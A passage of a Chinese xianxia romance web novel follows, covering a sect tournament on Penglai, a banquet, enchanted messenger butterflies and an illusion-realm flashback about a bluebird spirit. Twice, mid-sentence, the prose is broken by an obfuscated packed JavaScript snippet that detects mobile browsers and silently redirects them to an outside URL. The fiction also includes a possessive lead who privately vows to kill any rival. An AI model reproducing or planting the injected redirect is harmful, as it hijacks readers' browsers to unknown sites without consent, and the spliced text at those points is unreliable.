他咳嗽了一声：“我只是修仙界的一个普通人，一个路人甲，早就不是主角了。” 姜揽月“啧”了一声：“我们今天还在讨论，夺魁的可能是你们几人中的一位呢。” 宿渊哼道：“现在和上辈子已经完全不一样了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363795|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上辈子他参加的青云盛会没有姜揽月，甚至青云盛会都不在蓬莱，很多事情已经脱离了原有的轨道。 “那这些对手你上辈子碰到过吗？” “有的碰到过，有的没碰到过。”宿渊小声，“上辈子的青云盛会不在蓬莱。” 姜揽月若有所思：“这蝴蝶效应很强啊。” 她想过对手可能会不一样，但没想到竟然连青云盛会举办的地点都变了。 日暮四合，云霞漫天，整片天空都是梦幻的粉色。一片绚烂之中，没人注意到她发间的月亮簪子滑过了一丝诡异的光芒。 台上是今日最后一场比试了，对战的是一位剑修和一位器修弟子。那位器修弟子手上拿着把红伞，伞每次张开便会有毒针射出，打的对面的剑修选手毫无还手之力。 见到此景，姜揽月忽然想起身边的龙傲天不仅仅是剑修，在原著中也是一位多方面发展的天才。 “对了，你是不是还懂器修？” 宿渊：“略懂一点。” 姜揽月的指尖现出了一只蓝色的蝴蝶：“你能不能帮我看看这蝴蝶？我想将它改装一下。” 宿渊想都没想，便直接道：“可以啊。” 不想，他刚伸出手碰到蝴蝶，便有一道冷冽的剑气现出。 宿渊：“我靠。” 姜揽月吓了一跳，她也没想到会出现这种情况，连忙将蝴蝶收回。 “你手还好吗？”她关切道。 随后有些不好意思道：“对不起啊，我也没想到这里面有剑气。” 她刚刚认出来了，那是观雪的剑气，她居然不知道谢思量什么时候在这里面放了剑气。 “没事，我身边有防备的东西，刚刚没有伤到。” 宿渊揉了揉差点被剑气伤了的右手，刚刚的剑气如碎玉般锋利而冷冽，寒意直透神魂，他上下两辈子只见过一个人的剑气像这样，那便是谢思量。 “这个蝴蝶被谢思量标记过了，我碰不了。” 姜揽月继续道歉：“对不起啊，我也不知道他什么时候放进去的。” “你想让我帮你做什么？”宿渊又问道。 “这个蝴蝶可以传递消息，但是是单向传递，只能将我的消息带给其他人，或是将其他人的消息带给我。我想将它改进一下，你有方法吗？” 宿渊眯起双眼：“我好像见过类似的。” 他从芥子囊中拿出一本书，递给姜揽月：“你在这上面找找，说不定能找到想要的。” 姜揽月抬眼，发现书的封面上写着《周天万器图鉴》几个大字。 “多谢。” “无事。” “对了，你刚刚说的‘其他人’，是不是谢思量？” “……”姜揽月承认：“对。” 宿渊若有所思。 * 当天晚上，姜揽月便按照宿渊给她的那本书将蝴蝶进行了改造。 谢思量一回来，就看到少女低着头看书，手中拿着蝴蝶，不知道在捣鼓什么。 他知道姜揽月手中的那本书是宿渊给她的。 “谢思量，这个蝴蝶给你。” 她指尖的蓝色蝴蝶飞向了谢思量。 谢思量伸手接过蝴蝶，他发现姜揽月那里也有一只。 姜揽月解释道：“这个蝴蝶我改造了一下，现在有两个了，我俩一人一个。我们可以用这个传讯，不用再有等待的时间了。” 原来给他做的。 谢思量轻抚蝴蝶的翅膀，他的眉眼间多了一丝笑意。 “明天我们可以试试，”姜揽月道，“如果有什么不方便的，我再来改进一番。” “好。”谢思量将蓝蝶放到了自己左肩上。 “对了，你何时在这蝴蝶中添了观雪的剑气？” 谢思量垂睫，他知道今天姜揽月要问这件事情。 “蝴蝶乃你我二人之间的传讯用具，若是其他人碰到蓝蝶的话，便会被剑气所伤。”谢思量解释道。 “原来是这样。” 姜揽月明白了，这是怕他俩的对话被其他人听到了，不得不说，谢思量的隐私性真的很强。 她开玩笑道：“看不出来啊，仙君的隐私意识这么强。” 谢思量抬眸：“你我二人之间的对话，怎可被外人知晓？” 姜揽月的心怦然一动，“外人”？ 不知不觉中她和谢思量的关系已经是可以排除其他人的地步了吗？ 姜揽月低下头，她的白嫩的耳尖漫上一丝绯红。 “那你再给蝴蝶添几道剑气吧。” 谢思量看着她，弯了弯嘴角：“好。” 48. 蓬莱仙岛（四） 翌日，与昨日一样。从巳时开始，问道比试便开始了。 台上的青年一身黑衣，身材颀长，手中是一把带着火焰的剑。 这正是宿渊。 其实姜揽月本来打算今日去蓬莱岛逛逛的，但是她刚准备走，便听到了长老宣布宿渊的名字。 她实在是好奇龙傲天比试是什么样子的，于是便留了下来，观望一下宿渊实力如何。 宿渊也是剑修，而他的对手是一位刀修。 当那带着烈火的剑气冲向对面的时候，姜揽月才发现宿渊和谢思量的剑意是相反的。 两刻钟后，不出意外，宿渊获胜。 宿渊一下台，就看到了姜揽月。两道目光相碰的瞬间，姜揽月朝他竖起了大拇指。 宿渊：“……” 温言安看到两人，不想二人关系竟然这么好，惊讶道：“你们俩这么熟？” 姜揽月解释道：“我俩是老乡。” 宿渊也点头：“我俩之前住一起，所以比较熟。” 温言安：“怪不得，原来之前认识啊。” 他又道：“今晚有各家弟子间的聚会，来吗？蓬莱的人请的，不用我们花钱。” 宿渊问道：“很多人去吗？” “应该。” 宋卿尘也在旁边，道：“有很多美食，师妹，去吗？” “好啊，我去。”姜揽月没有多想便答应了，这实在是一个交朋友的好机会呢，也是一个探寻情报的好机会。更重要的是，会有很多好吃的。 几人交谈之间，台上又走上了新的弟子。 宋卿尘道指着台上的男子道：“东方霁上场了，就是他请我们吃饭的。” 姜揽月抬眼，发现确实是前几日见到的玄衣青年。只见他神情肃然，手中拿着一把长刀，在日光下泛着冰冷的光芒。 “原来他也是刀修啊。” “是啊，在蓬莱还是数一数二的刀修呢。” 东方霁对面的是一位穿着青衫的符修，名为白元洲。他身材颀长，乌黑的眸子仿佛一汪平静的潭水，纤长的指间夹着三张黄色的符咒。 东方霁率先发动攻击，刀势如狂雷裂空，直直往白元洲劈去。 白元洲立马甩出一张符咒，火星迸溅，金色的罡气化作一道屏障将攻势挡住。 东方霁又一挥刀，空气中的灵力浩浩汤汤，犹如骏马奔腾。 姜揽月眼尖，注意到不远处坐着的女子是青瑶，她的目光一直追逐着东方霁，乌黑的眸子中闪着光。 姜揽月小声感慨：“他们俩感情真好啊。” 宋卿尘也注意到了，笑道：“你别看人家，师妹夫肯定也一直在水境前看着你。” 姜揽月：“……” “你是不是在占谢思量便宜，怎么现在喊他师妹夫？” “我喊师妹夫不对吗？你是我师妹，他是你的道侣，可不就是我的师妹夫？” 宿渊：“按辈分确实可以这么喊啊。” "……" 姜揽月不想理他们，她继续看着台上的东方霁和白元洲。 两刻钟后，比试以白元洲跌坐到地上结束。他面上不显，眉宇间却滑过一丝烦躁。 随后，一位长老道：“蓬莱仙宗，东方霁胜。” 话音刚落，便见东方霁向白元洲伸出手，将他拉了起来。 姜揽月看到此景有些惊讶，第一次看到有人把对手拉了起来，她开始回想自己之前是不是太暴力了一点。 * 戌时，蓬莱醉仙楼。 醉仙楼是蓬莱的最大的酒楼。 楼阁高耸，飞阁流丹。两侧灯笼被晚风吹得摇晃，在青石板上投下暖黄的碎光。 姜揽月刚刚踏入正门，扑面而来的便是一股醉人的酒香和菜香。 人声鼎沸，丝竹绕耳。 她和白晴雨，宋卿尘，薛满一起走入，一名小厮立马向四人走了过来。今日的醉仙楼被他们的少主包场了，来参加的都是参加青云盛会的弟子。 四人一见满桌的美食美酒，当即便准备大吃特吃起来。 白晴雨：“呜呼，这比之前我们买的那个桃花露还要好喝。” 姜揽月尝了一口后，表示赞同：“不愧是最大的酒楼啊。” 她正大口吃着糕点，眼角忽然瞥到了两个熟悉的身影，原来是东方霁和青瑶。 宋卿尘随着她的目光看过去，道：“哦，主人公来了。” 姜揽月又吃下一口桃雪团子，道：“真是大开眼界，原来桃花可以做出这么多花样。” 咬破糯米皮的刹那，舌尖先触到微凉的粉，而后是温热的馅。糯米香混着桃花蜜在齿间化开，竟嚼到两瓣糖渍的桃肉，脆生生的，像是吃到了三月的春光。 姜揽月甚是陶醉，当即便决定打包一个给谢思量吃。 她拿出蓝蝶，试着用灵力写上几个字——“我给你带了糕点，桃雪团子，真的很好吃”。 正当她聚精会神写字之时，耳边忽然传来了一道细小的女声。 “你、你好，道友你昨日的琵琶真的令人印象深刻，我、我可以和你讨论一下《破阵曲》吗？”一位身着鹅黄色襦裙的少女说道，她低着头，不敢看姜揽月。 姜揽月有些惊讶，居然有人和她一起讨论曲子。 “好啊。”她连忙道，将蓝蝶收起。 “《破阵曲》属于攻击性很强的曲子，我一般不轻易用……” 二人讨论之时，又加入了好几名乐修，将姜揽月团团围住。 “我的《凤求凰》一直投入不了感情……” “我在金丹期已经两年了……” 约莫半个时辰后，围在她身边的女孩才散开。 姜揽月松了一口气，也是在这里体会到一次学霸的感觉了。 这时，她耳边又传来一道温柔的女声：“姜姑娘，为何不喝酒？我看你一直在喝桃花露。” 姜揽月抬眸，面前的女子一袭青衣，面容姣好，居然是青瑶。 她解释道：“我不是很能喝酒，喝酒容易醉，所以我更喜欢喝茶饮。” 青瑶笑道：“原来如此，那不妨试试这个樱桃煎。” 姜揽月道：“多谢。” “听闻仙君夫人花容月貌，真是百闻不如一见。”青瑶道，她的嗓音动听，“那一手天河倒悬可真是令人大开眼界。” 姜揽月谦虚：“哪里哪里，青姑娘的咒术也是数一数二。” “果然能和仙君结为道侣的都是实力相当的。”她笑道。 姜揽月不知道该说什么，便道：“你和东方少主也是。” “我听闻姜姑娘在凡间救了摇光仙君，所以才结下这段缘分？” 姜揽月没有否嗯，点头道：“嗯。” “仙君修为如此之高，我有些好奇当时二人的故事呢。”青瑶又道。 姜揽月眨眼，这不是第一次有人问她这种事情。毕竟在外人眼中，谢思量修为已至化神，而她当时不过是一介散修，说她救了谢思量真是匪夷所思，谢思量救了她还差不多。 “我家生来住在海边，当时摇光仙君恰好也在海边晕倒，我碰到了，便将他救下。”姜揽月说出了早就准备好的说辞。 “原来如此。”青瑶道，“姜姑娘也确实像生在海边一样，水灵灵的。” “阿瑶，你原来在这儿。”一道温润的男声传来。 姜揽月抬头，原来是东方霁。 “摇光夫人，”东方霁对她道，“今日摇光仙君不来吗？” “他喜欢清净，而且这也是弟子间的聚会，所以便没来了。”姜揽月解释道。 东方霁：“原来如此，是在下考虑欠周，见谅。” “没有没有，”姜揽月连忙道：“多谢少主今日请客，我谢谢还来不及呢，。” “应该的，既然来了蓬莱，我便要尽地主之谊，这是青云盛会历来的规矩。以后我们若是昆仑，也可要记得宴请我们。” “那是自然。”姜揽月道。 “那姜姑娘玩的开心，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378156|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有事，便先告辞了。” “好。” 二人走后，姜揽月拿起桌上的鸡腿，准备开吃。 “那两人感情还挺好呢。” 姜揽月又听到了宿渊的声音。 “相亲相爱小情侣。”她简略的评价道。 “哈哈哈哈你和谢思量不也是吗？”宿渊道，“这次青云盛会怎么这么多小情侣。” 谈到这件事，宿渊又想起昨日拿道剑气，若不是他身边防备的法宝多，真的要被拿道剑气伤了。 二人此时正站在角落处，也不怕对话被人听了去。 姜揽月道：“我说过了啊，谢思量是因为报恩才和我成亲。他一个无情道的，怎么可能真的和人结为道侣。你想想啊，如果我俩真是你说的那种情况，他的无情道不是早就破了吗？” 宿渊面容古怪：“我怎么这么不信呢。” 姜揽月也懒得解释了：“不信就算了吧，随你。” 见姜揽月还是这幅态度，他终于忍不住道：“你确定谢思量现在还是无情道吗？” “？你这是什么意思？” “那假如我告诉你，上辈子我和谢思量交手的时候他已经不是无情道了呢？” 姜揽月愣住：“你和谢思量是什么时候交手的？” “上辈子快要结束的时候。” 姜揽月的动作顿了顿，口中的鸡腿忽然变得索然无味。 那个时候她已经跳崖了，所以在那之后谢思量的无情道破了吗？ 原来她死之后谢思量碰到了能让他动心的人。 原来无情道的优秀弟子也会有动心的那一天。 真是好笑，她居然会以为谢思量这种人永远不会动情，原来只是不会对她动情罢了。 姜揽月垂下长睫，遮住了眼中汹涌的情绪：“那你，知道他喜欢的人是谁吗？” 宿渊眨眨眼，不知道姜揽月怎么会问这种问题：“啊？？他喜欢的人不是你吗？他不就你一个道侣吗？还有其他人吗？” 怎么可能是我？姜揽月在心中道。 不过她知道和宿渊解释起来很麻烦，便什么也没说了。 此时，客栈中，谢思量看着与宿渊交谈的姜揽月，眼中浮现一丝沉郁，他的夫人怎么又和这个男子走的这么近。 他手上拿着姜揽月之前给他包扎的布料，轻轻摩挲，随后又将布料放到鼻尖前轻嗅，这上面满是姜揽月的味道。 姜揽月不在的时候，只有她的裙子陪他聊以度日。 他知道姜揽月今日去了弟子间的聚会，每当他看到姜揽月和其他人说话，内心便感到隐隐不悦，尤其是她和宿渊说话的时候。 谢思量拿出昨日姜揽月给他的蝴蝶，在上面用灵力写了几个字。 这时，正在和宿渊说话的姜揽月忽然感到自己的蝴蝶动了一下，她将蝴蝶拿出，看到上面浮现出几个字——“嗯，我想吃你带的团子。” 想到了刚刚宿渊说的话，她的心好像被针戳了一下，忽然不想回谢思量。 谢思量眨了眨眼，姜揽月居然看到了他的消息后把蝴蝶收了起来。 蝴蝶在他指尖翩翩飞舞，他垂下眼睫，又传了三道剑气过去。 * 醉仙楼，姜揽月感觉到蝴蝶又动了。 她将蝴蝶唤出，发现没有任何文字，也没有任何声音，只有三道孤零零的剑气。 这三道剑气，带着丝丝寒意，像羽毛一样落到了她的心中。 她的心忽然也像蝶翅那样轻轻颤动。 她抑制不住地想要对这三道剑气有所回应。 但是一想起宿渊的话，她就莫名难受。 正当她犹豫之时，又一道熟悉的剑气传来。 宿渊站在一旁，他看到姜揽月指尖翩翩起舞的蝴蝶，道：“哦？又来了？谢思量和你说啥呢？” 姜揽月没说话。 她看了看指尖蝴蝶正在轻轻扇动的翅膀，此刻正如她的心一般。 她对宿渊道:“我先回去了。” 49. 蓬莱仙岛（五） 夜晚，月光皎洁，烛火橘黄。 姜揽月沐浴完后，便躺倒了榻上。这几日的比试让她感到身子有些累，再加上刚刚宿渊和她说的话，她感觉自己连抬起胳膊的力气都没了。 此刻，她有些不想面对谢思量。 她为什么会有这种想法？ 难道她真的喜欢谢思量？ 意识到这点后，姜揽月只觉得自己自不量力，谢思量可是无情道化神修士，无情道优秀弟子，她难道有什么不得了的魅力能让谢思量动心吗？ 自小便平平无奇的姜揽月叹了一口气，她在心中默念这只是一场交易，她在谢思量这也捞到了不少好处，至少灵石是想花多少就花多少，修为也增进了不少，其他不该想的就别想了吧。 待谢思量也沐浴结束躺倒榻上后，姜揽月已经做好了心理建设。 她开口道：“为什么给我三道剑气？” 青年刚洗完澡，他头发半湿，露在外面的皮肤苍白如玉，青色的血管清晰可见。可能是由于刚刚洗完澡的缘故，他的眼角泛红，好像绽开了桃花。 姜揽月转过了身子，她知道自己会被这幅皮囊引诱。 自己也太不争气了。 空气中静默了一瞬。 随后谢思量的声音响起：“我想试一下蝴蝶是否可以传剑气。” 姜揽月“哦”了一声：“那看来我这个蝴蝶做的不错，连你的剑气都能传。” “嗯，你在这方面很有天赋。”谢思量道。 “好累，我先睡了。”她闷闷道。 谢思量微怔，片刻后道：“嗯，你休息罢。” 看着姜揽月纤瘦的背影，他敏锐地感知到姜揽月今晚不想和他说话。 若是平时，她睡前定会和他说上许多话，从宗门八卦说到睡前故事，再到她以后的理想。可是今晚，她却什么也没说。 这是为什么？ 难道不喜欢他了吗？ 谢思量一动不动地看着姜揽月。 半个时辰后，身旁的少女传来了均匀的呼吸声。 她睡着了。 姜揽月晚上睡觉很不老实，谢思量就这么看着她又向自己转过了身。 少女睡颜乖巧，肌肤如玉，眉如远山，长长的睫毛在脸上投下一层淡淡的阴影。 视线继续往下，是少女粉嫩的唇瓣，像是蓬莱的灼灼桃花。 他忽然很想将这桃花含住，就像姜揽月今晚带给他的桃雪团子那样。 或是把手放进去，就像上次姜揽月血脉反噬那样。思及此处，他蓦地发觉当初不应该那么快帮姜揽月治好的。 他的指尖在姜揽月面庞滑过，血脉反噬治好后姜揽月好像就不再需要他了。 可是他想姜揽月一直需要他，这样他才能一直留在姜揽月身边。 他不可抑制地又想起那句话————“我喜欢的根本不是你”。 姜揽月若是不喜欢他了，那么她会喜欢谁？ 是她的师兄吗？还是那位新出现的男子？ 她为什么要和那个男子走的那么近？那个男子给她带来了什么吗？ 谢思量有些不解，姜揽月说想要当摇光夫人，他便可以让她当一辈子摇光夫人。 难道现在摇光夫人这个头衔对她来说已经没有吸引力了吗？ 青年抚摸着少女的发丝，眼中迸发出狂热与痴迷，仿佛在一寸寸舔舐姜揽月，将少女吞入腹中。 只有在这种时候，他才可以不用压抑自己的情感，不用隐藏自己的眼神，不用装作自己眼盲。 姜揽月，你若是爱上其他男人的话，我会杀了他。 * 今日是最后一日，姜揽月还有一场比试。 她的对手是一位体修，对姜揽月来说不算难，两刻钟便结束了。 她刚从台上走下，就看到了熟悉的身影。谢思量穿着一身云纹雪魄袍，衣摆有白色的冰晶暗纹，站在人群中很是显眼，令她第一眼就望到了他。 “谢思量，你怎么来了？”姜揽月有些疑惑，她问道，“你今日不做评委吗？” “今日不用我。” “哦，怪不得。” “出去走走吗？”谢思量又开口，声音很轻。 走走？ 姜揽月怔住，谢思量不是向来都不喜欢这些吗？ “明日你便进入浮生秘境了，我想和你一起走走。”他直接道。 很少听到谢思量说这种话，姜揽月感到自己的心不争气的跳了跳，明明昨晚已经下定决心不理他了。 “我想和你一起感受这里的春日，云雪峰终年下雪，没有春日。”谢思量道，冷玉般的侧脸被夕阳渡上了一层暖色。 清风吹起，掀起姜揽月额间的碎发。她望着面前青年精雕玉琢的脸，凌厉的眉宇间瞧着竟然几分易碎的感觉，说不出拒绝的话。 “……好。”姜揽月道，反正闲着也是闲着，就陪他走走吧。 * 华灯初上，暮色渐沉，护城河的水面被万千灯火映照，粼粼波光如碎金浮动，与天际最后一抹晚霞交相辉映。 夜风裹挟着桃花的甜香，从河畔的十里桃林漫卷而来，花瓣纷扬如雪，有几片飘落水面，随着涟漪轻轻打转。 姜揽月和谢思量漫步在街道上，今日是擂台比武的最后一天，所以一路上几乎都是来自各地的弟子，很是热闹。 这幅景象让姜揽月想起了之前在中州的夜晚，也是这么多的人。 正想着，她忽然感自己的手被牵住。 姜揽月抬眸，便碰上了谢思量琉璃般的瞳孔。 “这里人太多了，会被冲散。”青年嗓音清澈。 姜揽月点了点头，任由谢思量拉住自己的手。 两人穿过汹涌的人群，唯有手中的温热表示另一个人还在。 “原来你在这儿啊，我就说你怎么那么早就走了呢。”一道吊儿郎当的男声响起。 姜揽月抬眼，居然碰到了宿渊，他正和温言安，宋卿尘两人走在一起。 宋卿尘向二人打招呼：“师妹，师妹夫。” 温言安：“仙君原来也来了啊。” 谢思量朝几人微微颔首。 这里的人几乎都认识，除了宿渊和谢思量，于是姜揽月便介绍道：“谢思量，这是宿渊，凌云宗的弟子，我的老乡。” 老乡？ 原来是之前认识的人，谢思量眼睫微动。 “宿渊，这位就不用我介绍了吧。”姜揽月笑道。 “嗯。” 二人互相点头示意。 这段小插曲过后，谢思量道：“你和刚刚那位公子很熟悉吗？” 姜揽月转了转眼珠，知道他说的是宿渊，道：“我们是老乡，所以比较熟。” “他之前也在太虚海？” 姜揽月怔住，她没想到谢思量居然会问这个。其他人不知道她来自哪里，只知道“老家”这个概念。但是在谢思量眼中，她来自太虚海。 她是鲛人，那么宿渊呢？ 如果此时她点头便是承认宿渊也不是人族了，不过谢思量知道的话应该也没关系，反正按 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她又仔细看了看，就是青瑶，她身边还站着东方霁。不过这个东方霁看着倒是有一股英气，眉宇之间都是江湖的气息，穿着一身青色的衣衫，感觉二人下一刻就要闯荡江湖了，不似如今这般儒雅。 “姑娘，公子，想要一幅画吗？”一道苍老却又温和的声音响起。 姜揽月抬眼，看到了一个头发花白的老奶奶，想来应该是画摊的摊主。 “谢思量，要么？”姜揽月征求谢思量的意见。 谢思量反问：“你想吗？” “我想。”姜揽月点头，发间珠钗轻晃，映着灯火像流星划过。 “那便画罢。” “二位请来老身的院子中。”老人道。 青石小院内，蔷薇攀满粉墙。夜风过处，花瓣簌簌而落，有几片沾在姜揽月鬓边，谢思量伸手欲拂，却在即将触及她发丝的瞬间顿住，修长的手指微微蜷缩，最终只是无意识地摩挲了下自己的指尖。 奶奶画的很快，半盏茶的功夫，一幅栩栩如生的画卷已然成型。 只见粉色的蔷薇下，少女笑靥如花，藕粉色的裙裾被春风掀起一角；而她身旁的青年长身玉立，墨发如瀑随风轻扬，那双总是冷若寒星的眼眸此刻竟盈满温柔，专注地凝视着身旁之人，连满墙春色都为之黯然。 姜揽月恍了恍神，不由自主地看向谢思量的眼睛，画中谢思量的眼神非常温柔，与他平时一点都不像。 难道是因为他眼盲的原因？姜揽月在心中暗道。 她又想起青瑶和东方霁的那张画，觉得这些小变动可能就是画师丹青妙手之下的修饰之功。 毕竟在这个没有ps的时代，画笔就是最好的ps。 “画的如何？” 谢思量的声音传来。 “很好，把我俩都画漂亮了。” 姜揽月抬眼，目光在谢思量和画作中流转。不知是不是今晚月色的缘故，他的眼神真的变温柔了许多。 一定是月色和眼盲的缘故。 “是吗？” 奶奶听到这话，眼中盛满笑意：“老身只是如实描绘所见之景，未添半分虚饰。” "多谢婆婆。"姜揽月取出灵石放入老人手中，"您技艺超群。" 老人将灵石拢入袖中，笑吟吟道："二位璧人天成，老身不过是借笔墨定格这天赐良缘罢了。" “谢思量，我们回去吧。” “嗯。” 暖黄的灯光下，青石板上，拖着二人长长的身影。 带着花香的晚风吹过，将青年的爱意吹到了四面八方。 50. 蓬莱仙岛（六） 月华如练，浮生秘境在子夜时分悄然开启。 姜揽月在这之前向谢思量询问过秘境中的规矩，此时她看到自己正在一颗大树上，松了一口气，幸好没有把她传送到什么奇奇怪怪的地方。 她从树上跳下来，环顾四周，此时正是夜里，月明星稀，耳边是呼啸的风声，还有几声幽远的鸟鸣，在寂静中显得格外清晰。 传说浮生秘境是蓬莱的一位化神期幻术大能历劫后留下的秘境，在他历劫失败后，这座秘境就荒废了，演变为一个充斥着千变万化的幻象的秘境，因此吸引了很多弟子前来历练。 几位长老商议后便决定将此处作为此次青云盛会第二轮的地点。 姜揽月在路上行走着，与蓬莱岛一样，这里是一片桃林。但是与外界不同，秘境中正浮现着粉色的雾气，这雾气越来越厚。 这浓厚的雾气之中，大片大片的桃花只显得诡异。 偶然会有几只从树上掉下来的虫。姜揽月对这些倒是不怕，转手便将虫打落到了地上。 约莫一刻钟后，周围的桃树和雾气开始扭曲变形，时而是皑皑白骨，时而又是十二铜柱，姜揽月明白这是产生了幻象。 幻象无处不在。 又过了一个时辰，她决定先观望一段时间，毕竟到现在居然一名弟子都没有碰到。有一瞬间，她觉得整片秘境中只有她一个人。 姜揽月看看四周，发现这里只有无尽的桃花树与雾气，满眼都是粉红，无边无际的粉红。 “先休息片刻。” 她随便挑选了一棵树，然后口中念诀，在树的周围布置了一道结界，随后坐在树下歇息。 就当她靠坐在树干之上时，视线中忽然多了一抹黄，与这粉色格格不入。她定睛细看，发现那是一个挂在树枝上的泛黄的纸笺，随着风轻轻摇晃。 这张纸挂的很隐蔽，再加上浓厚的雾气，只有坐在她这个特定的角度才能看到。 姜揽月一惊，不会碰到什么不好的东西吧，或是陷阱之类的。 在这没什么人来的秘境中，怎么会有一张纸，这也太奇怪了。 一炷香后，终是好奇战胜了恐惧，她用太华将那纸笺摘了下来。 纸笺上滑过淡淡的灵力，她这才恍然，原是这上面的灵力，才让这张纸笺得以在风吹日晒中保存。 姜揽月松了一口气，应该不是什么危险的东西，随后便看向上面的字迹。 【去年今日此门中，人面桃花相映红。人面不知何处去，桃花依旧笑春风。】 这句诗的字体写的非常稚嫩，像是初学写字的孩童写出来的。 而纸笺的右下角还有一行小字，写的龙飞凤舞，明显是另外一个人写的。 —— 青瑶、萧云决。 姜揽月眼中浮现出疑惑，指尖轻轻滑过上面的落款。 这个青瑶是她认识的青瑶吗？ 如果正是蓬莱的青瑶，那么萧云决又是谁？ 就在她疑惑之时，一阵天旋地转的感觉袭来，她周围的景象又变了。 * 浮生秘境，千里桃花灼灼如焚。日光照耀下，整座山好像都浮动着粉色的雾霭。 清晨的第一缕晨曦穿透云海，落到了最高的那颗古桃树上。但见那满树桃花无风自动，三两点绯色光华自蕊心浮起，汇作流霞般的光带，向着枝头盘旋而去。原来树梢栖着一只青鸟，青鸟碧色的翎羽闪耀着翡翠般的光泽。 姜揽月内心一惊，这碧色的翎羽让她想起来青瑶的翎羽耳坠。 果然，下一秒那青鸟便化成了一个青衣少女，正是青瑶！ 不同于如今的温婉模样，当时的少女满脸都是懵懂，眼神中带着初入世间的单纯与好奇。 姜揽月内心了然，应该那张纸笺的缘故，她被带入了纸笺中的回忆，不过也不排除这是幻镜的可能性。 青鸟每日都在山间玩耍，歌唱，渴了便饮溪水，饿了就吃山果。 但是浮生秘境却经常有外来弟子闯入，意气风发的修士怀揣寻宝的梦想，一位又一位的弟子都来到了这里。 一日，青鸟被一名修士打伤。 当那箭矢破空而来的时候，她甚至来不及躲开。青鸟从枝头坠落，奄奄一息，鲜血染红了地上的桃花瓣。 恰奉另一位少年修士经过，他眉目清俊，身穿白衣，背上是一把长刀。 少年发现了受伤青鸟，便将青鸟带回自己在秘境中暂居的小屋。他一边探索秘境，一边悉心照料青鸟，将她的伤口细细包扎。每日晚上归来，都会将今日采摘的灵果捣碎成汁喂给她。 在少年的精心照顾下，约莫半月后，青鸟终于醒了。她化成了一个少女，在床上起身，有些好奇地量着这个陌生的房间。 就在这时，外出探索的少年回来了。 他看到身穿青衣的陌生女子在自己的房中，内心惊讶。但再看到她胳膊上白色的绷带，便猜出了少女的身份。 青鸟盯着他：“你看到我，不惊讶吗？” 面前的少女肌肤如雪，眉目如画，耳边是碧色的翎羽。 第一次被这样直勾勾的盯着，少年眼中滑过一丝不易察觉的羞赧。 他迅速别开眼，道：“蓬莱灵气充裕，青鸟化成人，也不是什么稀奇的事情。” 青鸟没说话，还是这样直勾勾的望着他。 少年又开口：“你叫什么？” 青鸟有些懵，随后摇摇头：“我没有名字。” 少年沉思片刻：“传说瑶池是仙女住的地方，你就叫青瑶吧。好吗？” 青鸟不知道这是什么意思，但是在少年炽热的目光下，她点了点头，道：“好。” “那你叫什么呢？” 少年道：“我叫萧云决。” 后面的日子中，萧云决白天去探索秘境，晚上就回来教青鸟读诗认字。 萧云决他拿出了自己小时候认字的诗集，带着青瑶一起誊抄上面的诗词。 “去年今日此门中，人面桃花相映红。人面不知何处去，桃花依旧笑春风。” 二人一起执笔写下这句诗词。 青瑶不解，抬头看向萧云决：“这是什么意思？” 萧云决便将这两句诗解释给她听，谁知青瑶听后便将纸捏做一团：“这不是好的意思，我要抄寓意好的诗文，我不想和你分开。” 萧云决怔了怔，随后笑笑：“好啊，那我们就来抄寓意好的诗文。” 待青瑶身子完全恢复之后，萧云决心想一直待在这里不是长久之计。 “你愿意和我一起出去吗？”少年看着青鸟道。 青鸟自出生起一直变在浮生秘境，从没有去过外面的世界，所以当萧云决对她说出这句话的时候，她毫不犹豫的点头：“好啊，我愿意。” 她不知道外面的世界是否危险，她只知道她想待在萧云决身边。 于是二人便一起走出了浮生秘境。 他们一起走过山川河海，穿过戈壁大漠，在星垂平野处看星星，在南疆之地看百花盛开。 原以为他们可以一直游历山川，直到他们在极北之地碰到了魔族。在那一场冲突中，萧云决因保护青瑶而丧了命。 当魔气贯穿了青年的胸口，温热的血液将雪地染红，像极了蓬莱的灼灼桃花。 第一次见到爱人消失的青鸟没有哭，她只感觉自己的心好似缺了一个口子。接下来的几十年中，她独自一人继续着二人未完成的旅行。 直到她再也忍不住令人煎熬的思念，又回到了他们原先相逢的地方——蓬莱。 春风吹过灼灼桃林，桃花还是原来的桃花，但是当初和她一起看桃花的人却早已不在了。 正当她准备离开之际，却碰到了一个和萧云决长相一模一样的男子。 青瑶大为震惊。 但是如今，他却不叫萧云决，而叫做东方霁，是如今蓬莱岛主的儿子。 青瑶明白了，这是人间的轮回转世。 一时间她也不知道这是好还是不好，但是她知道这个少年有着和萧云决一模一样的脸。 极度思念之下，她隐藏了修为，走进蓬莱，化作一名平平无奇的弟子。 但是当时，东方霁却还有一名未婚妻。 她知道两世的人已经不一样了，所以她一直远远注视着，没有上前打扰，直到东方霁的未婚妻因病去世。 后来，东方霁在一次任务中险些丧命，她做不到眼睁睁的那张与萧云决一模一样的脸在自己面前第二次丧命，于是便出手相救。 后面的故事，便向姜揽月之前听说的那样。 就在这时，她发现自己指尖的纸笺滑落了下来。 姜揽月恍然，原来这段幻象已经结束了。 她将这张纸笺保留了下来，继续向前行进。 幻术大能的秘境，看到的事情都有待考证。 只是不知这纸笺的故事是真是假，若是真的话，她也是没想到青瑶和东方霁居然还有这段往事。 约莫半个时辰后，她周围的桃花又开始扭曲，新的幻镜开始了。 